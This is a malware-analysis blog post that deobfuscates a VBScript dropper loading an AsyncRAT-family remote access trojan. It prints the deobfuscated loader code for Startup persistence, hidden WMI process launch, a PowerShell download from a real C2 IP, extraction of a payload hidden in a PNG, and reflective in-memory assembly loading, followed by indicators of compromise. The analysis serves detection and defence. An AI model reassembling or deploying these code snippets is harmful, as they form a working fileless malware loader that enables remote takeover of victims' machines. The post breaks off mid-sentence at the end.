Nikhil "Kaido" Hegde

M&M: Malware and Musings

View on GitHub

Source

Analysis

Obfuscation

There were various forms of obfuscation used in the VBScript. It was very similar to the one previously seen in a VBS downloader

enneagon = (enneagon) & concinnate(concinnate("ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ",""),"ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ")
enneagon = enneagon & concinnate(concinnate("ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ",""),"ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ") & ""
supranational = supranational & "$watamans='hᘣ⬂ᎏ...
supranational = supranational & "$watamans='hᘣ⬂ᎏ...
...
filler = Split(supranational, "ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ")
unknightliness = ""
For tellurane = 0 To UBound(filler)
unknightliness = unknightliness & filler(tellurane)
Next

Deobfuscation

Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass1.vbs --aggressive
{"changed":3724,"input_bytes":940598,"output_bytes":47644,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass1.vbs"}

> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass1.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass2.vbs
{"changed":23,"substituted_reads":23,"input_bytes":47644,"output_bytes":365921,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass2.vbs"}

> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass2.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass3.vbs
{"changed":19,"input_bytes":365921,"output_bytes":365700,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass3.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass3.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass4.vbs
{"changed":22,"input_bytes":365700,"output_bytes":46762,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass4.vbs"}

> python .\vbs_fold_split_calls.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass4.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass5.vbs
{"changed":4,"input_bytes":46762,"output_bytes":10782,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass5.vbs"}

> python .\vbs_fold_array_join_loops.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass5.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass6.vbs
{"changed":4,"input_bytes":10782,"output_bytes":12697,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass6.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass6.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass7.vbs
{"changed":5,"input_bytes":12697,"output_bytes":6587,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass7.vbs"}

> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass7.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass8.vbs
{"changed":7,"substituted_reads":7,"input_bytes":6587,"output_bytes":18316,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass8.vbs"}

> python .\vbs_fold_split_calls.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass8.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass9.vbs
{"changed":1,"input_bytes":18316,"output_bytes":15724,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass9.vbs"}

> python .\vbs_fold_array_join_loops.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass9.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass10.vbs
{"changed":1,"input_bytes":15724,"output_bytes":18011,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass10.vbs"}

> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass10.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass11.vbs
{"changed":5,"input_bytes":18011,"output_bytes":17880,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass11.vbs"}

Functionality

Prompt

/malware-analysis Analyze @C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass11.vbs. Write report in markdown format into @report.md It should contain the below sections:

1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs

Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>

Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.

Flowchart Prompt

Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2

Flowchart

flowchart TD
    A([VBScript executed by user or system]) --> B{Is a copy already in\nthe Startup folder?}
    B -- No --> C[Copy script to\n%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\nvia hidden PowerShell Copy-Item]
    C --> D
    B -- Yes --> D[Build obfuscated PowerShell command\nusing Unicode-junk interleaving,\ncharacter-array splitting,\nand string fragmentation]
    D --> E[Launch PowerShell silently via WMI\nWin32_Process.Create with ShowWindow = 0\nParent process appears as WmiPrvSE.exe]
    E --> F[PowerShell contacts C2\nGET http://193.104.58.65/rumpaugust.png\nUser-Agent: Mozilla/5.0]
    F --> G{Do markers IN- and -in1\nexist in the PNG response?}
    G -- No --> H([Abort — payload inert without C2-hosted file])
    G -- Yes --> I[Extract text between IN- and -in1\nReplace # with A\nReverse the entire string\nBase64-decode to raw bytes]
    I --> J[Load byte array as .NET assembly\ndirectly into PowerShell process memory\nNo file written to disk]
    J --> K[Locate obfuscated entry-point class\nand method inside the loaded assembly\nby name via reflection]
    K --> L[Invoke RAT entry point\nwith 21 AES-256-CBC encrypted\nconfiguration strings\nHosts · Port · Mutex · Anti-analysis flags · Group ID]
    L --> M([AsyncRAT / DCRat / XWorm RAT active\nFull remote access established\nKeylogging · Screenshots · Shell · File exfiltration])
    style A fill:#4a4a4a,color:#fff
    style H fill:#b94040,color:#fff
    style M fill:#b94040,color:#fff
    style C fill:#7a4a00,color:#fff
    style E fill:#7a4a00,color:#fff
    style F fill:#7a4a00,color:#fff
    style I fill:#7a4a00,color:#fff
    style J fill:#7a4a00,color:#fff
    style K fill:#7a4a00,color:#fff
    style L fill:#7a4a00,color:#fff

Report

The functionality of this sample is closely related to the one previously described in VBS downloader. Similarities and differences are noted at the bottom.

Executive Summary

This sample is a VBScript dropper and steganographic .NET RAT loader. When executed, it immediately copies itself into the Windows Startup folder to survive reboots, then silently spawns a heavily obfuscated PowerShell payload via Windows Management Instrumentation (WMI) with its window hidden.

The PowerShell payload reaches out to a remote server at 193[.]104[.]58[.]65 and downloads a PNG image (rumpaugust.png). A .NET assembly is hidden inside the PNG file body between the text markers IN- and -in1 — a steganographic concealment technique that bypasses network-layer inspection tools scanning for executable file signatures. The loader reverses and Base64-decodes the extracted content to reconstruct the assembly bytes, then reflectively loads and executes it in memory without writing the payload to disk.

The loaded assembly is consistent with the AsyncRAT / DCRat / XWorm family of commodity remote access trojans. It receives an array of 21 AES-encrypted configuration strings (C2 host, port, mutex, anti-analysis flags, etc.) that were embedded in the VBScript itself.


Details

Startup Persistence

On first execution the script resolves its own full path via WScript.ScriptFullName, identifies the current user’s Startup folder via WScript.Shell.SpecialFolders("Startup"), and checks whether a copy already exists there.

negrophil = WScript.ScriptFullName
overconsumption = hedriophthalma.SpecialFolders("Startup")
superpremium = overconsumption & "\" & uncoined.GetFileName(negrophil)

If Not uncoined.FileExists(superpremium) Then
    leniting = "powershell -nop -w hidden -c Copy-Item -LiteralPath '" & negrophil & "' -Destination '" & superpremium & "' -Force"
    hedriophthalma.Run leniting, 0, False
End If

If the copy does not yet exist, a hidden PowerShell Copy-Item command places the VBS into the Startup folder, ensuring it re-runs on every subsequent logon.


WMI-Based Silent Execution

Rather than calling WScript.Shell.Run directly, the final PowerShell command is launched via the WMI Win32_Process.Create method with a Win32_ProcessStartup instance that sets ShowWindow = 0 (completely hidden window). This grants the process creation a WMI service parent (WmiPrvSE.exe) which can bypass simple parent-process detection rules.

Set nabumetone = GetObject("winmgmts:\\.\root\cimv2")
Set devilment = nabumetone.Get("Win32_ProcessStartup")
Set charadrioid = devilment.SpawnInstance_
charadrioid.ShowWindow = 0
Set arranging = nabumetone.Get("Win32_Process")
obsecrates = arranging.Create(bazaar, Null, charadrioid, zorses)

bazaar contains the fully-assembled powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "..." string. On Error Resume Next suppresses any errors silently.


C2 Contact and PNG Download

The PowerShell payload (deobfuscated) opens an HTTP connection to the C2 server using [System.Net.HttpWebRequest] with a spoofed Mozilla user-agent string to blend in with browser traffic, then reads the full PNG response body as text:

$watamans = 'http://193.104.58.65/rumpaugust.png'
$compossibility = [System.Net.HttpWebRequest]::Create('http://193.104.58.65/rumpaugust.png')
$compossibility.UserAgent = 'Mozilla/5.0'
$sfregazzi = $compossibility.GetResponse().GetResponseStream()
$reader = New-Object IO.StreamReader($sfregazzi)
$kourbash = $reader.ReadtoEnd()

The server at 193[.]104[.]58[.]65 serves a PNG file whose binary content contains the hidden .NET assembly.


Steganographic Payload Extraction

The .NET assembly is concealed inside the PNG file body between two ASCII text markers: IN- (start) and -in1 (end). The loader locates both markers, extracts the substring between them, applies two transformations, and reconstructs the original binary:

$anomocarpous = $kourbash.Substring($kourbash.IndexOf('IN-') + 'IN-'.Length,
    $pajero - ($kourbash.IndexOf('IN-') + 'IN-'.Length))
$phassachate = $anomocarpous.Replace('#', 'A').ToCharArray()
$perforati = -join $phassachate[($phassachate.Length - 1)..0]
  1. Character substitution: All # characters are replaced with A — undoing an encoding step applied when the payload was embedded.
  2. String reversal: The entire extracted string is reversed character-by-character, converting the reversed Base64 back into a forward-readable Base64 string.
  3. Base64 decode: [System.Convert]::FromBase64String() decodes the resulting string into a raw byte array ($hobblingly) containing the .NET PE image.

If either marker is absent from the server response, execution halts (if ($javaone_2008_ge -eq -1 -or $pajero -eq -1) { return }), making the payload inert without the specific C2-hosted file.


Reflective .NET Assembly Load

The byte array is loaded directly into the current PowerShell process’s AppDomain via [AppDomain]::CurrentDomain.Load() — a fileless in-memory execution technique that leaves no PE image on disk:

$bosta = [AppDomain]::CurrentDomain.GetType().GetMethod('Load', [byte[]])
$unswerving = $bosta.Invoke([AppDomain]::CurrentDomain, (, $hobblingly))

The call to GetMethod('Load', [byte[]]) explicitly selects the Assembly.Load(byte[]) overload via reflection rather than calling it directly, further defeating static API-import analysis.


RAT Activation

Once loaded, the assembly’s entry point is reached through a second layer of reflection: the loader enumerates the assembly’s types to find one named mpxnddVn (an obfuscated class name), then finds its method Otnmpxn, and invokes it with 21 Base64-encoded strings as arguments:

$monometallist = ($unswerving.GetTypes() | Where-Object Name -eq 'mpxnddVn' | Select-Object -First 1)
$galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq 'Otnmpxn' | Select-Object -First 1)
$galactotherapy.Invoke($null, [object[]]$landaulets)

The $landaulets array contains 21 entries (14 non-empty), each holding an AES-256-CBC encrypted configuration value. This parameter structure is consistent with the AsyncRAT / DCRat / XWorm family, where the constructor receives configuration fields in positions corresponding to: Hosts, Port, Version, Install flag, Mutex, Anti-analysis, BSOD-protection, Group ID, Pastebin fallback, and additional variant-specific flags. The decryption key is derived from the first entry using PBKDF2.

$landaulets[0]  = 'PNGrHhvUeX8tCZxzdMqYjnGcfk9nsQIis36ayi7F2y0UHT0c2JqglPcqF+zF+HUrwIRNaYxR+ZD/YuTySzN/HQ=='  (64 bytes — key material)
$landaulets[2]  = '+doWLPsFlbfZq4dJzLB8M2GLu9fIIWENcb2a0Rm5CN3ro2Hxdla5Kx6MuJt8ytO7'  (48 bytes — encrypted field)
$landaulets[3]  = 'kCHfF23BRL6aWG3jRBL+JyN4Tt/24QXFwKAwYtDpV6w='   (32 bytes — encrypted field)
... (17 further entries omitted for brevity)

All configuration values remain encrypted at rest inside the VBScript.


IOCs

Type Value
C2 IP 193[.]104[.]58[.]65
C2 URL hxxp://193[.]104[.]58[.]65/rumpaugust.png
User-Agent Mozilla/5.0
Protocol HTTP (port 80)
Payload markers in PNG IN- (start), -in1 (end)
Type Value
Persistence path %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<original_filename>.vbs
WMI class used Win32_Process, Win32_ProcessStartup

Similarities and Differences with Another Variant

As mentioned earlier, the functionality of this sample is closely related to the one previously described in VBS downloader.

Similarities

Element Both samples
PNG steganography technique Payload embedded as text in PNG body
Extraction markers IN- (start), -in1 (end)
Extraction transforms #A substitution, then string reversal, then Base64 decode
Reflective load [AppDomain]::CurrentDomain.Load(byte[]), with 'Cu'+'rrentDomain' and 'Lo'+'ad' split identically
RAT class name mpxnddVn
RAT entry method Otnmpxn
WMI launch Win32_Process.Create + Win32_ProcessStartup.ShowWindow = 0 → parent process is WmiPrvSE.exe
UA spoofing Mozilla/5.0
Error suppression On Error Resume Next + try{}catch{} around RAT invocation

Differences

Element pass11.vbs vbs_downloader
C2 193[.]104[.]58[.]65/rumpaugust.png 133[.]18[.]106[.]222/DV/ugo_050448.png
URL obfuscation Plain text in PS payload Base64+UTF-16LE encoded — URL never appears as plaintext in the script
Startup persistence Yes — copies itself to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ Absent — no persistence mechanism
Payload staging PS command passed directly via -Command "..." Entire PS body stored in user env var sassolin; launched as Invoke-Expression $env:sassolin — hides payload from command-line telemetry
Download API HttpWebRequest + StreamReader Net.WebClient.DownloadData()
RAT lookup method Enumerates all types, filters by name (Where-Object Name -eq 'mpxnddVn') Direct GetType('OtnmpxnddVnptbN.mpxnddVn') — knows the full namespace
Config array 21 entries (14 non-empty) 18 entries (several empty)

Interpretation

The shared steganography markers (IN-/-in1), identical string-splitting patterns for 'Cu'+'rrentDomain' and 'Lo'+'ad', and the same mpxnddVn/Otnmpxn class/method names indicate that these samples may have been sourced from the same builder or source kit. The differences indicate distinct builds or configurations: